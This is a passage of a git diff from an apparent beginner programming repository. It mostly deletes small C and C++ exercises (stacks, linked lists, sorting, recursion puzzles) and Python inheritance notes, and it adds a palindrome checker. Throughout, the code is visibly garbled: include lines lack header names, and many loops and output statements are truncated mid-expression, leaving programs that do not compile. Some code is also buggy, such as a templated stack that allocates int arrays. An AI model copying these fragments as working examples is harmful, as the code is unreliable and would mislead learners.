T *stackArray; - int index; - int capacity; - - void changeSize() - { - T *newstackArray = new T[capacity * 2]; - for (int i = 0; i < capacity; i++) - { - newstackArray[i] = stackArray[i]; - } - capacity *= 2; - delete[] stackArray; - stackArray = newstackArray; - } - -public: - Stack() - { - capacity = 5; - stackArray = new T[capacity]; - index = 0; - } - Stack(int totalSize) - { - capacity = totalSize; - stackArray = new int[capacity]; - index = 0; - } - - void push(T element) - { - if (index == capacity) - { - changeSize(); - } - stackArray[index] = element; - index++; - } - int size() - { - return index; - } - - bool isEmpty() - { - if (size() == 0) - { - return true; - } - else - { - return false; - } - } - - T pop() - { - if (isEmpty()) - { - cout << "Empty stack" << endl; - return 0; - } - else - { - int temp = stackArray[index - 1]; - index = index - 1; - return temp; - } - } - - T top() - { - if (isEmpty()) - { - cout << "Empty stack" << endl; - return 0; - } - else - { - return stackArray[index - 1]; - } - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/stair_case_problem.cpp b/Add Code Here/C++/stair_case_problem.cpp deleted file mode 100644 index 63c3e1e8a7c..00000000000 --- a/Add Code Here/C++/stair_case_problem.cpp +++ /dev/null @@ -1,23 +0,0 @@ -// STAIR CASE PROBLEM ON CODE-STUDIO (Recursion) -// we have to reach nth stair starting from 0. -// we can either climb 1 or 2 stairs at a time -// find number of process or ways to reach nth stair - -#include -using namespace std; - -int number_of_ways(int n){ - if (n==0) - return 1; - if (n<0) - return 0; - return number_of_ways(n-1) + number_of_ways(n-2); -} - -int main() -{ - int n; - cin>>n; - cout< -using namespace std; - -// Function to demonstrate printing pattern -void pypart(int n) -{ - // Outer loop to handle number of rows - // n in this case - for (int i = 0; i < n; i++) { - - // Inner loop to handle number of columns - // values changing acc. to outer loop - for (int j = 0; j <= i; j++) { - - // Printing stars - cout << "* "; - } - - // Ending line after each row - cout << endl; - } -} - -// Driver Function -int main() -{ - int n = 5; - pypart(n); - return 0; -} diff --git a/Add Code Here/C++/subsequence_pattern_matching.cpp b/Add Code Here/C++/subsequence_pattern_matching.cpp deleted file mode 100644 index a359feee17b..00000000000 --- a/Add Code Here/C++/subsequence_pattern_matching.cpp +++ /dev/null @@ -1,39 +0,0 @@ -//que is check string x is a subsequence of string y return true or false - -#include -using namespace std; - -int lcs(string &x, string &y,int n, int m){ - int dp[n+1][m+1]; - - for(int i=0;i>x; - cin>>y; - int n=x.length(); - int m=y.length(); -// just check lcs length is equal to string x length if yes return true else false - if(lcs(x,y,n,m)== n){ - cout<<"true"; - } - else - cout<<"false"; - -} - diff --git a/Add Code Here/C++/subset_sum_diff_equal_to_given_diff_k.cpp b/Add Code Here/C++/subset_sum_diff_equal_to_given_diff_k.cpp deleted file mode 100644 index 7f1fb856be7..00000000000 --- a/Add Code Here/C++/subset_sum_diff_equal_to_given_diff_k.cpp +++ /dev/null @@ -1,33 +0,0 @@ -#include -using namespace std; - -int targetsum(int arr[],int n,int sum){ -if(n==0){ - return 0; -} -if(sum==0){ - return 1; -} - -if(arr[n-1]>sum){ - return targetsum(arr,n-1,sum); -} - -return targetsum(arr,n-1,sum) + targetsum(arr,n-1,sum-arr[n-1]); -} - -int main (){ - int n,d; - cin>>n>>d; - int arr[n]; - int total=0; - for(int i=0;i>arr[i]; - total+=arr[i]; - } - - int sum=(d+total)/2; - cout< -#include -using namespace std; -struct Node{ - int item; - struct Node *left,*right; -}; - -// helper function to check if tree is symmetric -bool sym(Node* l,Node* r) -{ - if(l==nullptr&&r==nullptr) return true; - if(l==nullptr||r==nullptr) return false; - if(l->item!=r->item) return false; - // left subtree's left child,right subtree's right child - // left subtree's right child,right subtree's left child - return (sym(l->left,r->right)&&sym(l->right,r->left)); -} - -// function to check if tree is symmetric -bool isSymmetric(Node* root) -{ - return(root==nullptr||sym(root->left,root->right)); -} - - -// creating node -struct Node *createNode(int value) -{ - struct Node *new_node=new Node(); - new_node->item=value; - new_node->left=NULL; - new_node->right=NULL; - return new_node; -} -// left subtree -struct Node *instleft(struct Node *root,int value) -{ - root->left=createNode(value); - return root->left; -} -// right subtree -struct Node *instright(struct Node *root,int value) -{ - root->right=createNode(value); - return root->right; -} -int main() -{ - ios_base::sync_with_stdio(false); - cin.tie(NULL); - struct Node *root=createNode(1); - instleft(root,12); - instright(root,12); - instleft(root->left,5); - instright(root->right,5); - if(isSymmetric(root)) cout<<"Symmetric\n"; - else cout<<"Not symmetric\n"; - return 0; -} diff --git a/Add Code Here/C++/tower_of_hanoi.cpp b/Add Code Here/C++/tower_of_hanoi.cpp deleted file mode 100644 index b95159a7bd1..00000000000 --- a/Add Code Here/C++/tower_of_hanoi.cpp +++ /dev/null @@ -1,27 +0,0 @@ -#include -using namespace std; -void toh(int ,char,char,char); -int main() -{ char a,b,c; - int x; - a='A'; //Start disc - b='B'; //Auxillary disc - c='C'; //End Disc - cout<<"Enter value of discs"; - cin>>x; - toh(x,a,c,b); - return 0; -} -void toh(int x,char a ,char c,char b) -{ - if(x==1) - { cout<<"Move the disc 1 from "< -using namespace std; - -int main() { - int a[10][10], transpose[10][10], row, column, i, j; - - cout << "Enter rows and columns of matrix: "; - cin >> row >> column; - - cout << "\nEnter elements of matrix: " << endl; - - // Storing matrix elements - for (int i = 0; i < row; ++i) { - for (int j = 0; j < column; ++j) { - cout << "Enter element a" << i + 1 << j + 1 << ": "; - cin >> a[i][j]; - } - } - - // Printing the a matrix - cout << "\nEntered Matrix: " << endl; - for (int i = 0; i < row; ++i) { - for (int j = 0; j < column; ++j) { - cout << " " << a[i][j]; - if (j == column - 1) - cout << endl << endl; - } - } diff --git a/Add Code Here/C++/two_unique_no.c++ b/Add Code Here/C++/two_unique_no.c++ deleted file mode 100644 index c7648c3b664..00000000000 --- a/Add Code Here/C++/two_unique_no.c++ +++ /dev/null @@ -1,41 +0,0 @@ -#include -using namespace std; - -int setBit(int n, int pos){ - return((n & (1<> 1; - } - int newxor = 0; - for(int i=0;i>n; - int arr[n]; - cout<<"Enter elements in array:"<>arr[i]; - } - unique(arr, n); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/un_custom-insertion.cpp b/Add Code Here/C++/un_custom-insertion.cpp deleted file mode 100644 index b0e69ce89f2..00000000000 --- a/Add Code Here/C++/un_custom-insertion.cpp +++ /dev/null @@ -1,62 +0,0 @@ -#include - -using namespace std; - - - - -int insertion(int arr[], int size, int capacity, int position, int key){ - - if (size >= capacity){ - return size; - } - - for (int i = size; i >= position; i--){ - arr[i + 1] = arr[i]; - - } - - arr[position] = key; - - return (size + 1); - -} -int main() -{ - - - int arr[25] = {1, 2, 3, 4, 5}; - int size = 5; - int capacity = sizeof(arr)/sizeof(arr[0]); - int position, key; - - - - cout << "Before Insertion -> "; - - for (int i = 0; i < size; i++){ - cout << arr[i] << " " << flush; - - } - - - cout << "Element and Position: "; - - cin >> key >> position; - position = position -1; - - int result = insertion(arr, size, capacity, position, key); - - cout << "After Insertion -> "; - - for (int i = 0; i < result; i++){ - cout << arr[i] << " " << flush; - - } - - - - - - return 0; -} diff --git a/Add Code Here/C++/waveSort.cpp b/Add Code Here/C++/waveSort.cpp deleted file mode 100644 index 8752d404e24..00000000000 --- a/Add Code Here/C++/waveSort.cpp +++ /dev/null @@ -1,28 +0,0 @@ -#include -using namespace std; - -void swap(int arr[], int a, int b){ - int temp = arr[a]; - arr[a] = arr[b]; - arr[b] = temp; -} - -void waveSort(int arr[], int n){ - for (int i = 1; i < n; i+=2) { - if(arr[i]>arr[i-1]) swap(arr, i, i-1); - - if(arr[i]>arr[i+1] && i<=n-2) swap(arr, i, i+1); - } - -} -int main() { - int arr[5] = {5, 4, 3, 2, 1}; - - waveSort(arr, 5); - for (int i = 0; i < 5; i++) { - cout< -#include - - -//creation of a node in a single linked list - - -struct node{ //initializing (structuring) a node - int data; //data part of the node - struct node *link; //link part of the node where to connects to a different node -}; - -int main(){ - - struct node *head = NULL; //declare a separate node/pointer to point it to the main node (so as to have easy access in the linked list) - head=(struct node *)malloc(sizeof(struct node)); //assigning the memory location of the main node to the head node so that it points to the main node - - head->data = 45; //head pointing to data.........data is now 45 - head->link = NULL; //head pointing to link.........link is now NULL since there are no other nodes to point to - - printf("%d",head->data); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/Average Number.c/Average Number.c b/Add Code Here/C/Average Number.c/Average Number.c deleted file mode 100644 index 4c2087d95a9..00000000000 --- a/Add Code Here/C/Average Number.c/Average Number.c +++ /dev/null @@ -1,65 +0,0 @@ -#include - -using namespace std; - -int main() - -{ - - int t; - - cin>>t; - - while(t--) - - { - - int a,b,c; - - cin>>a>>b>>c; - - int arr[a]; - - for(int i=0;i>arr[i]; - - } - - int d=0; - - for(int i=0;ib) - - { - - cout<<(e-d)/b< - -int main() { - int n1, n2; - float avg = 0; - - printf("Enter n1 : "); - scanf("%d", &n1); - printf("Enter n2 : "); - scanf("%d", &n2); - - avg = (float)(n1 + n2) / 2; - printf("Average : %f\n", avg); - - return 0; -} diff --git a/Add Code Here/C/BinaryTree.c b/Add Code Here/C/BinaryTree.c deleted file mode 100644 index f104ed01062..00000000000 --- a/Add Code Here/C/BinaryTree.c +++ /dev/null @@ -1,80 +0,0 @@ -#include -#include - -typedef struct treenode //declaration of binary tree -{ - int value; - struct treenode *left; - struct treenode *right; -}treenode; -int flag; - -treenode *newNode (int value) //creating the binary tree -{ - treenode* result = malloc(sizeof(treenode)); - if (result != NULL) - { - result ->left = NULL; - result ->right = NULL; - result ->value = value; - } - return result; -} - -void searchElements (struct treenode* newNode, int val) //the function to search binary tree elements -{ - if (!newNode) - { - return; - } - searchElements(newNode->left, val); - if (newNode->value == val) - { - printf ("This is Available in the Binary Tree"); - flag = 1; - } - searchElements(newNode->right, val); -} - -void printPostOrder (struct treenode* result) //the function to print in postoder traversal -{ - if (result == NULL) - return; - - printPostOrder(result->left); //left subtree reccur - printPostOrder(result->right); //right subtree reccur - - printf("%d ", result->value); //print the complete node -} - -int main() -{ - - int s_value; - - //insert node values - struct treenode* root = newNode(8); - root->left = newNode(6); - root->right = newNode(10); - root->left->left = newNode(4); - root->left->right = newNode(7); - root->right->right = newNode(12); - - printf("Enter the value to search :- "); - scanf("%d", &s_value); - - searchElements(root,s_value); - - //check the presence of entered value - if (flag == 0) - { - printf ("!! Element NOT FOUND !!\n"); - } - - printf ("\n\nPostorder Traversal is :-\n"); - printPostOrder(root); - - getchar(); - return 0; - -} diff --git a/Add Code Here/C/Check_for_Palindrome_number_or_word.c b/Add Code Here/C/Check_for_Palindrome_number_or_word.c new file mode 100644 index 00000000000..ad32a0f8b6e --- /dev/null +++ b/Add Code Here/C/Check_for_Palindrome_number_or_word.c @@ -0,0 +1,73 @@ +#include +#include +#include +int numi(); +void stri(); +int main() +{ + int a; + printf("\n Is the input number or string(1-Number/2-String):"); + scanf("%d",&a); + if(a==1) + { + numi(); + } + else if(a==2) + { + stri(); + } + return 0; +} + +int numi() +{ + int num,rev_num=0,rem,temp; + printf("Enter an integer: "); + scanf("%d", &num); + temp=num; + while(temp!=0) + { + rem=temp%10; + rev_num=rev_num*10+rem; + temp/=10; + } + + if(rev_num==num) + { + printf("%d is a palindrome number",num); + } + else + { + printf("%d is not a palindrome number",num); + } + return 0; +} + +void stri() +{ + char arr[40]; + int i,length; + int f=0; + + printf("Enter a string:"); + scanf("%s",arr); + length=strlen(arr); + for(i=0;i -#include - - -void display_array(int size, int a[]){ - for (int i = 0; i < size; i++) - { - printf("%d ", a[i]); - } - printf("\n"); -} - -int max_element(int array[], int count){ - int max=0; - for (int i = 0; i < count; i++) - { - - if(array[i]>max) - max=array[i]; - } - return max; -} - -int * countsort(int A[], int B[], int size){ - int max=max_element(A, size); - int C[max+1]; - for(int i=0; i<=max; i++){ - C[i]=0; - } - display_array(max+1, C); - for (int i = 0; i =0; i--) - { - B[C[A[i]]-1]=A[i]; - C[A[i]]-=1; - } - return B; -} -int main(){ - printf("Enter array size :\n"); - int size; - scanf("%d", &size); - int array[size]; - printf("Enter elements of array :\n"); - for (int i = 0; i < size; i++) - { - scanf("%d", &array[i]); - } - display_array(size, array); - int B[size]; - int *c=countsort(array, B, size); - display_array(size, c); - -} diff --git a/Add Code Here/C/Guess_game.c b/Add Code Here/C/Guess_game.c deleted file mode 100644 index c84a70483db..00000000000 --- a/Add Code Here/C/Guess_game.c +++ /dev/null @@ -1,41 +0,0 @@ -/*This is going to be fun!! We will write a program that generates a random number and asks the player to guess it. If the player’s guess is higher than the actual number, the program displays “Lower number please.” Similarly, if the user’s guess is too low, the program prints “Higher number please.” - -When the user guesses the correct number, the program displays the number of guesses the player used to arrive at the number. - -Hints: - -Use loops -Use a random number generator.*/ - -#include -#include -#include -int main() -{ - int number,guess,nguess=1; - srand(time(0)); - number=rand()%100 + 1;// Generates a random number between 1 and 100 - // printf("The number is %d\n", number); - // Keep running the loop until the number is guessed - do - { - printf("Guess the number between 1 to 100\n"); - scanf("%d",&guess); - if (guess>number) - { - printf("Lower number please!"); - } - else if (guess this method provide memory to objects and its attribute -#2. __init__() => constructor/initializer , this method will initialise value to attribute -#3. __str__() => this method return id of object - - - -class Mobile(object): - def __str__(self): - return "hello" - -m1=Mobile() -print(m1) - -list1=[1,2,3,4] -print(list1) - - -#1. __new__() => this method provide memory to objects and its attribute -#2. __init__() => constructor/initializer , this method will initialise value to attribute -#3. __str__() => this method return id of object - - - -class Mobile(object): - def __init__(self): - self.price=45000 - def __str__(self): - return f"[{self.price}]" - -m1=Mobile() -print(m1) - -#list1=[1,2,3,4] -#print(list1) - - -#1. __new__() => this method provide memory to objects and its attribute -#2. __init__() => constructor/initializer , this method will initialise value to attribute -#3. __str__() => this method return id of object - - -class Mobile: - def __new__(cls): - return "hello" -m1=Mobile() -print(m1) - - - - -class Mobile: - def __new__(cls): - return "hello" - def __init__(self): - self.brand="Samsung" -m1=Mobile() -print(m1.brand) - - - -class Mobile: - def __init__(self,brand): - self.brand=brand -m1=Mobile() -print(m1.brand) - - - -class Mobile: - def __init__(self,brand): - self.brand=brand -m1=Mobile("Samsung") -print(m1.brand) - - - -Types of Inheritance: -1. Single inheritance: -When a child class inherits from only one parent class, it is called as single inheritance. We saw an example above. - - - -class ClassA: - def __init__(self): - self.a=20 - pass -class ClassB(ClassA): - pass - -objB=ClassB() -print(objB) - - - - -class ClassA: - def __init__(self,a): - self.a=a - pass - -class ClassB(ClassA): - pass - -objB=ClassB(20) -print(objB.a) - - - - - - -class ClassA: - def __init__(self,a): - self.a=a - - -class ClassB(ClassA): - def __init__(self,b): - self.b=b - - -objB=ClassB(20) -print(objB.a) - - - - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - - -class ClassB(ClassA): - def __init__(self,b): - self.b=b - - -objB=ClassB(20) -print(objB.staticA) - - -1) static variable from a parent class directly inherit to its child class. - -2) the attributes of parent class is not directly inherit to its child classes until unless you can call its constructor. - -3) any method of parent class will directly inherit to its child classes. - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def methodA(self): - print("i am a method of class A") - - -class ClassB(ClassA): - def __init__(self,b): - self.b=b - - -objB=ClassB(20) -objB.methodA()) - - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def methodA(self): - print("i am a method of class A") - - -class ClassB(ClassA): - def __init__(self,b): - self.b=b - def mrthodA(self): - print("i am a method of class B") - - -objB=ClassB(20) -objB.methodA() - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def methodA(self): - print("i am a method of class A") - - -class ClassB(ClassA): - - def mrthodA(self): - print("i am a method of class B") - - -objB=ClassB(20) -print(objB) - - - - -class ClassA: - staticA=10 - def __init__(self,a,b): - self.a=a - def methodA(self): - print("i am a method of class A") - - -class ClassB(ClassA): - - def mrthodA(self): - print("i am a method of class B") - - -objB=ClassB(20,40) -print(objB) - - - - -class ClassA: - staticA=10 - def __init__(self,a,b): - self.a=a - def methodA(self): - print("i am a method of class A") - - -class ClassB(ClassA): - - def mrthodA(self): - print("i am a method of class B") - - -objB=ClassB(20,40) -print(objB.a) - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def methodA(self): - print("i am a method of class A") - - -class ClassB(ClassA): - def __init__(self,b): - self.b=b - def mrthodA(self): - print("i am a method of class B") - - -objB=ClassB(20) -print(objB.a) - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def methodA(self): - print("i am a method of class A") - - -class ClassB(ClassA): - def __init__(self,b): - ClassA.__init__(self,a=30) - self.b=b - def mrthodA(self): - print("i am a method of class B") - - -objB=ClassB(20) -print(objB.a) - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def methodA(self): - print("i am a method of class A") - - -class ClassB(ClassA): - def __init__(self,b,a): - ClassA.__init__(self,a) - self.b=b - def mrthodA(self): - print("i am a method of class B") - - -objB=ClassB(20,40) -print(objB.a) - - - - -class ClassA: - staticvar=45 - def __init__(self,a): - self.a=a - - def displayA(self): - print("method of class A called") - -class ClassB(ClassA): - def __init__(self): - ClassA.__init__(self,9766) - self.b=75 - -objb=ClassB() -print(objb.a) -print(objb.staticvar) -objb.displayA() - - - - -method of class A called -2. Multiple inheritance: -When a child class inherits from multiple parent classes, it is called as multiple inheritance. - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def method(self): - print("i am a method of class A") - - -class ClassB: - def __init__(self,b): - ClassA.__init__(self,a) - self.b=b - def mrthod(self): - print("i am a method of class B") - -class ClassC(ClassA,ClassB): - def __init__(self,c): - self.c=c - def method(self): - print("i am method of class C") - -objC=ClassC(40) -objC.method() - - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def method(self): - print("i am a method of class A") - - -class ClassB: - def __init__(self,b): - ClassA.__init__(self,a) - self.b=b - def mrthod(self): - print("i am a method of class B") - -class ClassC(ClassA,ClassB): - def __init__(self,c): - self.c=c - def methodC(self): - print("i am method of class C") - -objC=ClassC(40) -objC.method() -[ ] -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def method(self): - print("i am a method of class A") - - -class ClassB: - def __init__(self,b): - ClassA.__init__(self,a) - self.b=b - def method(self): - print("i am a method of class B") - -class ClassC(ClassB,ClassA): - def __init__(self,c): - self.c=c - def methodC(self): - print("i am method of class C") - -objC=ClassC(40) -objC.method() -[ ] -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def method(self): - print("i am a method of class A") - - -class ClassB: - def __init__(self,b): - ClassA.__init__(self,a) - self.b=b - def method(self): - print("i am a method of class B") - -class ClassC(ClassB,ClassA): - staticvar=45 - def __init__(self,c): - self.c=c - def methodC(self): - print("i am method of class C") - -objC=ClassC(40) -print(objC.staticvar) - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def method(self): - print("i am a method of class A") - - -class ClassB: - def __init__(self,b): - ClassA.__init__(self,a) - self.b=b - def method(self): - print("i am a method of class B") - -class ClassC(ClassB,ClassA): - staticvar=45 - def __init__(self,c): - self.c=c - def methodC(self): - print("i am method of class C") -objC=ClassC(40) -print(objC.a) - - - -class ClassA: - staticA=10 - def __init__(self,a): - self.a=a - def method(self): - print("i am a method of class A") -class ClassB: - def __init__(self,b): - ClassA.__init__(self,a) - self.b=b - def method(self): - print("i am a method of class B") -class ClassC(ClassA,ClassB): - staticvar=45 - def methodC(self): - print("i am method of class C") -objC=ClassC(40) -print(objC.a) - - -3. Multilevel inheritance: -When we have child and grand child relationship - - -class ClassA: - def __init__(self): - self.a=30 - - def method(self): - print("method of classA is called") - -class ClassB(ClassA): - def __init__(self): - super().__init__() - self.b=56 - -class ClassC(ClassB): - def __init__(self): - super().__init__()#this is a constructor of b(without argument it will call the constructor of b itself) -#super(ClassB,self).__init__()this is a constructor of a because classB is the constructor of a here - self.c=39 -#super() call the parent class for calling the grandparent call the parent to parent class so we use super() class. -objc=ClassC() -print(objc.b) - - -4. Hierarchical inheritance -More than one derived classes are created from a single base. - - -class ClassA: - def __init__(self): - self.a=30 - - def method(self): - print("method of classA is called") - -class ClassB(ClassA): - def __init__(self): - super().__init__() - self.b=56 - -class ClassC(ClassB): - def __init__(self): - super().__init__() - self.c=39 - -class ClassD(ClassA): - def __init__(self): - self.d=12 - -objc=ClassC() -print(objc.a) - -5.Hybrid Inheritance: -Inheritence consisting of multiple types of inheritence is called hybrid inheritence. - - - -class ClassA: - def __init__(self): - self.a=30 - - def method(self): - print("method of classA is called") - -class ClassB(ClassA): - def __init__(self): - super().__init__() - self.b=56 - -class ClassC(ClassB): - def __init__(self): - #super(ClassB,self).__init__() - self.c=39 - -class ClassD(ClassC,ClassB): - def __init__(self): - self.d=12 - -obj=ClassD() - - -super function -[ ] -class ClassA: - def __init__(self): - self.a=30 - - def method(self): - print("method of classA is called") - -class ClassB: - def __init__(self): - self.b=56 - -class ClassC(ClassA,ClassB): - def __init__(self): - super().__init__() - ClassB.__init__(self) - self.c=50 - -objc=ClassC() -print(objc.a) -print(objc.b) - - -class ClassA: - def __init__(self): - self.a=30 - - def method(self): - print("method of classA is called") - -class ClassB(ClassA): - def __init__(self): - super().__init__() - self.b=56 -#The super() function returns an object that represents the parent class. -#The super() function is used to give access to methods and properties of a parent or sibling class. -#Since we do not need to specify the name of the base class when we call its members,we can easily change the base class name (if we need to). -objb=ClassB() -print(objb.a) -30 -The super() function is used to give access to methods and properties of a parent or sibling class. - -The super() function returns an object that represents the parent class. - -Advantage of using super() -Since we do not need to specify the name of the base class when we call its members, we can easily change the base class name (if we need to). - -Method Resolution Order: - -MRO is a concept used in inheritance. It is the order in which a method is searched for in a classes hierarchy and is especially useful in Python because Python supports multiple inheritance. - diff --git a/Add Code Here/C/InsertionSort.c b/Add Code Here/C/InsertionSort.c deleted file mode 100644 index 95409c7ce1a..00000000000 --- a/Add Code Here/C/InsertionSort.c +++ /dev/null @@ -1,49 +0,0 @@ -// C program for insertion sort -//contributed by @whyanujjwhy -#include -#include - -void insertionSort(int arr[], int n) -{ - int i, j, key; - for (i=1; i=0 && arr[j]>key) { - arr[j+1]=arr[j]; - j--; - } - arr[j+1]=key; - } -} - -// A function to print the array -void printArray(int arr[], int n) { - int i; - for(i=0; i -int main() -{ - int n,temp,fact,sum=0,i,rem; - printf("ENTER A NUMBER: "); - scanf("%d",&n); - temp=n; - while(n!=0) - { - rem=n%10; - fact=1; - for(i=rem;i>=1;i--) - { - fact=fact*i; - } - sum=sum+fact; - n=n/10; - } - if(sum==temp) - printf("%d IS A KRISHNAMURTY NUMBER\n",temp); - else - printf("%d IS NOT A KRISHNAMURTY NUMBER\n",temp); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/Linear Search.c b/Add Code Here/C/Linear Search.c deleted file mode 100644 index 229bcd1a811..00000000000 --- a/Add Code Here/C/Linear Search.c +++ /dev/null @@ -1,26 +0,0 @@ -#include - -int main() -{ - int a[20],i,x,n; - printf("How many elements?"); - scanf("%d",&n); - - printf("Enter array elements:n"); - for(i=0;i -#include -#include -void main() -{ - struct node{ - int data; - struct node *next; - }; - - struct node *head,*newnode,*temp; - head=0; - int choice; - while(choice){ - newnode=(struct node*)malloc(sizeof(struct node)); - printf("Enter data\n"); - scanf("%d",&newnode->data); - newnode->next=0; - if(head==0) - { - head=temp=newnode; - } - else - { - temp->next = newnode; - temp=newnode; - } - printf("Do you want to continue\n"); - scanf("%d",&choice); -} -temp=head; -while(temp!=0) -{ - printf("%d\t",temp->data); - temp=temp->next; -} -} - ---------------- #OUTPUT ------------- -Enter data -2 -Do you want to continue -1 -Enter data -5 -Do you want to continue -0 -2 5 diff --git a/Add Code Here/C/LinkedList/Circular linked list/Circular Linked List b/Add Code Here/C/LinkedList/Circular linked list/Circular Linked List deleted file mode 100644 index c353b874499..00000000000 --- a/Add Code Here/C/LinkedList/Circular linked list/Circular Linked List +++ /dev/null @@ -1,37 +0,0 @@ -#include -#include -struct node{ - int data; - struct node *next; -}; - -int main(){ - struct node *head,*newnode,*temp; - head=0; - int choice=1; - while(choice){ - newnode=(struct node*)malloc(sizeof(struct node)); - printf("Enter the data: "); - scanf("%d",&newnode->data); - newnode->next=0; - if(head==0){ - temp=head=newnode; - } - else{ - temp->next=newnode; - temp=newnode; - } - temp->next=head; - printf("Do you wanna continue (0,1): "); - scanf("%d",&choice); - } - - temp=head; - printf("The elements in the list are: "); - while(temp->next!=head){ - printf("%d ",temp->data); - temp=temp->next; - } - printf("%d",temp->data); -} - diff --git a/Add Code Here/C/LinkedList/Circular linked list/circularLL.c b/Add Code Here/C/LinkedList/Circular linked list/circularLL.c deleted file mode 100644 index be43b41c043..00000000000 --- a/Add Code Here/C/LinkedList/Circular linked list/circularLL.c +++ /dev/null @@ -1,189 +0,0 @@ -#include -#include -struct node { - int data; - struct node *link; -}; -struct node *start=NULL; -void Insert(); -void Delete(); -void Traverse(); -void Search(); -int length(); -void main() -{ - int ch; - do - - { - printf("\n\nMENU"); - printf("\n1 Insert\n2 Delete \n3 Search\n4 Display\n5 Exit"); - printf("\nChoice ? "); - scanf("%d",&ch); - switch(ch) - { - case 1: Insert(); break; - case 2: Delete(); break; - case 3: Search(); break; - case 4: Traverse(); break; - case 5: break; - default : printf("\nWrong Choice "); - } - }while(ch!=5); - printf("\nThank You "); -} // end of main -void Traverse() -{ - struct node *p; - if(start==NULL) - printf("\nEmpty"); - else - { - printf("\nList is \n"); - p=start; - do - { - printf("\t%d",p->data); - p=p->link; - }while(p!=start); - } -} - -int length() -{ - int c=0; - struct node *p=start; - if(start==NULL) - return 0; - else - { - do - { - c++; - p=p->link; - }while(p!=start); - return c; - } -} -void Search() -{ - struct node *p; - int item,flag=1; - - if(start==NULL) - printf("\nEmpty"); - else - { - printf("\n enter the no to find "); - scanf("%d",&item); - p=start; - - do{ - p=p->link; - if(p->data==item) - { - printf("\n found"); - flag=0; - return; - } - else{ - flag=1; - } - }while(p!=start); -} - - if(flag!=0) - { - printf("\n not found"); - return; - } -} - -void Insert() -{ - struct node *p,*n; - int i,pos; - printf("\nEnter position "); - scanf("%d",&pos); - if(pos<=length()+1) - { - n=(struct node *)malloc(sizeof(struct node)); - printf("\nEnter number "); - scanf("%d",&n->data); - if(start==NULL) //List is initially empty - { - start=n; - start->link=start; - } - else - if(pos==1) - { - p=start; //traverse p up to last node - while(p->link!=start) - p=p->link; - n->link=start; - start=n; - p->link=n; - } - else - { - p=start; - for(i=1;ilink; - n->link=p->link; - p->link=n; - } - printf("\n%d is inserted at %d position ",n->data,pos); - } - else - printf("\nInvalid position"); -} -void Delete() -{ - struct node *p,*n; - int pos,i; - if(start==NULL) - - printf("\nUNDERFLOW"); - else - { - printf("\nEnter the position "); - scanf("%d",&pos); - if(pos<=length()) - { - if(length()==1) //single node - { - n=start; - start=NULL; - printf("\n%d is deleted ",n->data); - free(n); - } - else - if(pos==1) - { - p=start; // traverse p up to last node - while(p->link!=start) - p=p->link; - n=start; - start=start->link; - p->link=start; - printf("\n%d is deleted from %d position", n->data,pos); - free(n); - } - else - { - p=start; - for(i=1;ilink; - n= p->link; - - p->link = n->link; - printf("\n%d is deleted from %d position", n->data,pos); - free(n); - } - } - else - printf("\nInvalid position"); - } -} //end of Delete -////////////////END OF PROGRAM////////////////////////// diff --git a/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Deletion.c b/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Deletion.c deleted file mode 100644 index 2166f4e0c7f..00000000000 --- a/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Deletion.c +++ /dev/null @@ -1,129 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *plink; - struct node *nlink; -}; - -struct node *head , *tail , *temp , *newnode ; -int length = 0; - -void createList() { - head = 0; - tail = 0; - temp = 0; - newnode = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a nunmber :-\n"); - scanf("%d",&newnode->data); - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> nlink = newnode; - newnode -> plink = temp; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - length++; - } - tail = temp; - tail -> nlink = head; - head -> plink = tail; -} - -void displayList() { - temp = head; - do { - printf("%d ",temp -> data); - temp = temp -> nlink; - } - while (temp != head); - printf("\n"); -} - -void delFirstNode() { - temp = head; - if (length != 1) { - head = head -> nlink; - head -> plink = tail; - tail -> nlink = head; - } - else { - head = 0; - tail = 0; - } - free(temp); - length--; -} - -void delLastNode() { - temp = tail; - if (length != 1) { - tail = tail -> plink; - tail -> nlink = head; - head -> plink = tail; - } - else { - head = 0; - tail = 0; - } - free(temp); - length--; -} - -void delAtPos(int pos) { - if (pos < 1 || pos > length) - printf("Invalid position.\n"); - else if (pos == 1) - delFirstNode(); - else if (pos == length) - delLastNode(); - else { - temp = head; - int i = 1; - while (i < pos) { - temp = temp -> nlink; - i++; - } - temp -> plink -> nlink = temp -> nlink; - temp -> nlink -> plink = temp -> plink; - free(temp); - length--; - } -} - -int main() { - createList(); - printf("Original doubly circular linked list :-\n"); - displayList(); - printf("Enter 1 to delete 1st node.\n"); - printf("Enter 2 to delete the last node.\n"); - printf("Enter 3 to delete the node at specific position.\n"); - printf("Enter your choice.\n"); - int choice; - scanf("%d",&choice); - switch(choice) { - case 1 : delFirstNode(); - break; - case 2 : delLastNode(); - break; - case 3 : printf("Enter the position :-\n"); - int pos; - scanf("%d",&pos); - delAtPos(pos); - break; - default : printf("Wrong choice.\n"); - } - printf("Updated doubly circular linked list :-\n"); - displayList(); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Example.c b/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Example.c deleted file mode 100644 index f7308f4a4e5..00000000000 --- a/Add Code 